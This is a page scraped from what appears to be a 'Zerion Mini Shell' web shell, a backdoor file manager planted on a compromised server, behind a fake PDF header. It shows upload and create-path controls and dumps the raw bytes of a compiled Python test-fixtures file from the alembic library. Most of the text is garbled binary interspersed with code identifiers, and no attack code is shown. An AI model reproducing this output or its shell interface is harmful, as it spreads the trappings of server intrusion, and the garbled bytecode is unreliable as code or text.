%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python37/lib/python3.7/site-packages/alembic/testing/__pycache__/
Upload File :
Create Path :
Current File : //opt/alt/python37/lib/python3.7/site-packages/alembic/testing/__pycache__/fixtures.cpython-37.pyc

B

�M!V��@s
ddlZddlZddlmZmZmZddlZddlmZddl	m
Z
ddlmZmZddl
mZddlmZdd	lmZdd
lmZddlmZdd
lmZmZddl	mZe��Ze�dg�e
js�Gdd�de�Z nddl!m Z dd�Z"iZ#edd��Z$ddd�Z%dS)�N)�
create_engine�text�MetaData�)�configparser)�util)�string_types�	text_type)�MigrationContext)�EnvironmentContext)�
Operations)�contextmanager�)�SkipTest)�_get_dialect�eq_)�mockztest.cfgc@s:eZdZdZdZdZdZdZd	dd�Zdd�Z	dd�Z
dS)
�TestBase�NcCs|st|��dS)N)�AssertionError)�self�val�msgrr�/fixtures.py�assert_+szTestBase.assert_cCst|d�r|��dS)N�setUp)�hasattrr)rrrr�setup/s
zTestBase.setupcCst|d�r|��dS)N�tearDown)rr)rrrr�teardown3s
zTestBase.teardown)N)�__name__�
__module__�__qualname__Z
__whitelist__Z__requires__Z__unsupported_on__Z__only_on__Z__skip_if__rrrrrrrrs
r)rcs(g���fdd�}tdd|d����fS)Ncs��t|j�jd���dS)N)�dialect)�append�str�compiler#)�sqlZmultiparamsZparams)�buf�enginerr�dump=szcapture_db.<locals>.dumpz
postgresql://r)Zstrategy�executor)r)r*r)r(r)r�
capture_db:sr,c	+sh��dd�rt��}nt��}��d|d��tj���fdd�}tj�	td|��|VWdQRXdS)NZbytes_ioFZsqlite)Zdialect_name�
output_buffercs|jf���||�S)N)�update)�arg�opt)�conf�kwrr�	configureRsz)capture_context_buffer.<locals>.configurer3)
�pop�io�BytesIO�StringIOr.rr3rZpatch�object)r2r(r3r)r1r2r�capture_context_bufferEs

r9�defaultFc
s�i}|r$tjstd��t|d�|d<G�fdd�dt�}|��G�fdd�dt�}�r^�|d<|rj||d	<t|���s���fd
d�}tj�|d�}n�|d
<d}|�||�}	t	|	�t
j_|	S)Nz8naming_convention feature requires sqla 0.9.2 or greater)�naming_conventionZtarget_metadatacs(eZdZdd�Z�fdd�Zdd�ZdS)zop_fixture.<locals>.buffer_cSs
g|_dS)N)�lines)rrrr�__init__gsz$op_fixture.<locals>.buffer_.__init__csF|��}t�dd|�}�r6t�dd|�}t�dd|�}|j�|�dS)Nz[\n\t]�z    z\;
*$)�strip�re�subr<r$)rr)�as_sqlrr�writejsz!op_fixture.<locals>.buffer_.writecSsdS)Nr)rrrr�flushusz!op_fixture.<locals>.buffer_.flushN)r r!r"r=rCrDr)rBrr�buffer_fsrEcs0eZdZ�fdd�Z�fdd�Z�fdd�ZdS)zop_fixture.<locals>.ctxcsg�jdd�<dS)N)r<)r)r(rr�clear_assertions{sz(op_fixture.<locals>.ctx.clear_assertionscst�jt|��dS)N)rr<�list)rr')r(rrr~szop_fixture.<locals>.ctx.assert_cs6x0�jD]}||krdSqWds2td|�jf��dS)NFz"Could not locate fragment %r in %r)r<r)rr'�stmt)r(rr�assert_contains�sz'op_fixture.<locals>.ctx.assert_containsN)r r!r"rFrrIr)r(rr�ctxzsrJrB�
literal_bindscs:t|t�rt|�}|jst�t|j�d��}��|�dS)N)r#)�
isinstancerrZsupports_executionrr	r&rC)rHZ
multiparamZparamr')r(�ctx_dialectrr�execute�s


zop_fixture.<locals>.execute)r#rNr-)
rZsqla_092rrr8r
rrZMockr�alembic�op�_proxy)
r#rBr;rKZoptsrErJrNZ
connection�contextr)rBr(rMr�
op_fixtureZs2rS)r:FNF)&r5r@Z
sqlalchemyrrrrOZutil.compatrr>rrr	Z	migrationr
ZenvironmentrZ
operationsr�
contextlibr
Zplugin.plugin_baserZ
assertionsrrrZConfigParserZtesting_config�readZsqla_094r8rZsqlalchemy.testing.fixturesr,Z_engsr9rSrrrr�<module>s.

Zerion Mini Shell 1.0